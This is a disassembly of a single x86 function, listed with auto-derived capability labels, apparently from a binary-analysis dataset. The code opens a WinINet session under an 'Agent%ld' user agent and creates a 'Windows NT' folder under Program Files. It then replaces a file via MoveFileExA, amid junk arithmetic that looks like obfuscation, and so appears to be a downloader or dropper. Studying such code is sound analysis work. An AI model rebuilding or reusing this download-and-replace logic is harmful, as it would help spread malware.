Function at 0x401a90
Capabilities:
Check internet connectivity via wininet
Create directory
Create http request
Delete file
Move file

Disassembly:
sub esp, 0x150
mov eax, dword [0x43f350]
mov dword [esp + 0x14c], eax
push ebx
push esi
push edi
mov ecx, dword [0x43e2c0]
mov edx, dword [0x43e2c4]
mov esi, ecx
mov eax, 0x6445fc6d
imul esi, esi, 0x946b47
imul edx
mov eax, dword [0x43e2c8]
imul eax, eax, 0x754f74
sar edx, 0x14
add esi, edx
mov ebx, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x753dc2
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x43e2d0]
add ebx, eax
add ebx, edx
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edi, dword [str._r_____r____]
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x278a52fb
imul ecx
sar edx, 0x14
mov ecx, edx
add ebx, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x3493ae
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
mov dword [0x43e2dc], ecx
push 0
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test byte [esp + 0x10], 0x20
jne 0x4021d1
call dword [sym.imp.WINMM.dll_timeGetTime]
push eax
lea edx, [esp + 0x1c]
push str.Agent_ld
push edx
call fcn.00416ca1
mov ecx, dword [0x43e2c8]
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
mov esi, ecx
mov ecx, dword [0x43e2c4]
imul esi, esi, 0x28d92c
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x8ba9e88d
imul ecx
add edx, ecx
sar edx, 0x16
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
shr esi, 0x1f
add esi, edi
sub esi, eax
mov eax, 0x51bab243
imul ecx
imul ecx, ecx, 0x679728
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2bc]
imul edx, edx, 0x302f8a
sub esi, eax
add esp, 0xc
add esi, edx
lea eax, [esi + ecx + 0x2fa80f]
push 0
mov dword [0x43e2d8], eax
test byte [esp + 0x14], 4
push 0
push 0
jne 0x401c26
push 4
lea ecx, [esp + 0x28]
push ecx
jmp 0x401c2d
push 0
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [0x43e2c8]
mov esi, eax
mov eax, dword [0x43e2c0]
imul eax, eax, 0x754f74
mov edi, ecx
imul edi, edi, 0x28d92c
add edi, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d8]
sub edi, eax
mov eax, edx
imul eax, eax, 0x643bbd
sub edi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
add edi, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x15
add edi, edx
mov ebx, edx
mov eax, 0x76a10fbd
imul ecx
imul ecx, ecx, 0x330379
sar edx, 0x15
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edi, edx
mov edx, dword [str._r_____r____]
mov eax, 0x51e0e37b
imul edx
sar edx, 0x15
shr edi, 0x1f
mov eax, edx
add edi, ebx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
sub edi, 0x28d92c
test esi, esi
mov dword [esp + 0xc], esi
mov dword [0x43e2d4], edi
je 0x4021d1
push 0
push str.C:Program_FilesWindows_NT
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, dword [esp + 0x170]
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401d13
sub eax, edx
lea ecx, [eax + ebx - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea edx, [esp + 0x60]
push str.C:Program_FilesWindows_NT_d_s
push edx
call fcn.00416ca1
mov eax, dword [esp + 0x178]
mov ecx, dword [esp + 0x174]
mov edx, dword [esp + 0x170]
push eax
push ecx
mov ecx, dword [esp + 0x184]
push edx
lea eax, [esp + 0x74]
push eax
push ecx
push esi
call fcn.00401000
mov edi, eax
add esp, 0x28
test edi, edi
mov dword [esp + 0x14], edi
jne 0x40216c
mov ecx, dword [0x43e2c0]
mov edx, dword [0x43e2c4]
mov esi, ecx
mov eax, 0x6445fc6d
imul esi, esi, 0x946b47
imul edx
mov eax, dword [0x43e2bc]
sar edx, 0x14
imul eax, eax, 0x753dc2
add esi, edx
push ebp
mov ebp, edx
mov edx, dword [0x43e2c8]
imul edx, edx, 0x754f74
shr ebp, 0x1f
mov edi, dword [str._r_____r____]
add ebp, esi
mov esi, dword [0x43e2d0]
add ebp, edx
add ebp, eax
mov eax, 0x321c7f55
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x65c6b7f9
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul ecx
sar edx, 0x14
mov ecx, edx
add ebp, edx
mov edx, dword [0x43e2cc]
imul edx, edx, 0x3493ae
shr ecx, 0x1f
add ecx, ebp
add ecx, edx
mov eax, 0x51e0e37b
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
sub ecx, esi
push 0x64
mov dword [0x43e2dc], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x43e2c8]
mov edx, dword [0x43e2c0]
imul edx, edx, 0x754f74
mov esi, ecx
imul esi, esi, 0x28d92c
add esi, edx
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x43e2d8]
sub esi, eax
mov eax, edx
imul eax, eax, 0x643bbd
sub esi, eax
mov eax, dword [0x43e2d4]
imul eax, eax, 0x302f8a
add esi, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
mov ecx, dword [0x43e2cc]
sar edx, 0x15
add esi, edx
mov edi, edx
mov eax, 0x76a10fbd
imul ecx
imul ecx, ecx, 0x330379
sar edx, 0x15
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov edx, dword [str._r_____r____]
mov eax, 0x51e0e37b
imul edx
sar edx, 0x15
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, edi
add eax, edx
sub esi, eax
push 1
sub esi, ecx
push ebx
lea ecx, [esp + 0x64]
sub esi, 0x28d92c
push ecx
mov dword [0x43e2d4], esi
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov esi, dword [0x43e2bc]
mov ebp, dword [0x43e2d8]
mov ebx, eax
imul ebp, ebp, 0x28d92c
mov ecx, dword [0x43e2c8]
mov eax, 0x6445fc6d
imul ecx, ecx, 0x754f74
imul esi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edi, dword [0x43e2c0]
add ebp, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x3493ae
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edx, edi
imul edx, edx, 0x643bbd
mov eax, esi
imul eax, eax, 0x302f8a
sub ebp, edx
mov edx, dword [str._r_____r____]
add ebp, eax
mov eax, 0x65c6b7f9
imul edx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x278a52fb
imul edi
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
add ecx, edi
imul esi, esi, 0x450e38
add ecx, ebp
test ebx, ebx
lea ecx, [esi + ecx + 0x450e38]
mov dword [0x43e2cc], ecx
pop ebp
jne 0x4021aa
lea edx, [esp + 0x58]
push 0
push edx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x402144
mov edx, dword [0x43e2c0]
mov ecx, dword [0x43e2d0]
mov esi, dword [str._r_____r____]
mov eax, 0x6445fc6d
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, ecx
imul edi, edi, 0x946b47
sub edi, eax
mov eax, dword [0x43e2bc]
imul eax, eax, 0x753dc2
mov edx, esi
imul edx, edx, 0x754f74
sub edi, edx
add edi, eax
mov eax, 0x321c7f55
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x278a52fb
imul esi
sar edx, 0x14
mov esi, edx
sub edi, ecx
mov ecx, dword [0x43e2c4]
add edi, edx
mov edx, dword [0x43e2d8]
imul edx, edx, 0x3493ae
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
sub esi, 0x643bbd
push 0x64
mov dword [0x43e2c4], esi
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [str._r_____r____]
mov edi, dword [0x43e2d8]
sub edi, ecx
mov ecx, dword [0x43e2bc]
imul edi, edi, 0x754f74
mov edx, ecx
imul edx, edx, 0x28d92c
mov esi, dword [0x43e2cc]
add edi, edx
mov eax, 0x321c7f55
imul ecx
imul ecx, ecx, 0x302f8a
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x643bbd
sub edi, eax
add edi, edx
add edi, ecx
mov ecx, dword [0x43e2d0]
mov eax, 0x65c6b7f9
imul ecx
sar edx, 0x13
mov eax, edx
mov ecx, dword [0x43e2d4]
imul esi, esi, 0x3493ae
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9bcf58cb
imul ecx
add edx, ecx
sar edx, 0x15
mov ebx, edx
add edi, edx
mov eax, 0x51e0e37b
imul ecx
sar edx, 0x15
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add ebx, edi
add eax, edx
mov edx, dword [esp + 0x170]
push 1
add ebx, esi
sub ebx, eax
push edx
lea eax, [esp + 0x60]
lea ecx, [ebx + ecx - 0x643bbd]
push eax
mov dword [0x43e2bc], ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x4021aa
mov esi, dword [esp + 0xc]
push esi
mov edi, 0x63
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x14c]
call fcn.00416fcd
add esp, 0x150
ret
lea ecx, [esp + 0x58]
push 0
push ecx
call fcn.0041701d
add esp, 8
cmp eax, 0xffffffff
je 0x4021b2
lea edx, [esp + 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x14c]
call fcn.00416fcd
add esp, 0x150
ret
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x14c]
call fcn.00416fcd
add esp, 0x150
ret
mov ecx, dword [esp + 0x158]
pop edi
pop esi
mov eax, 4
pop ebx
call fcn.00416fcd
add esp, 0x150
ret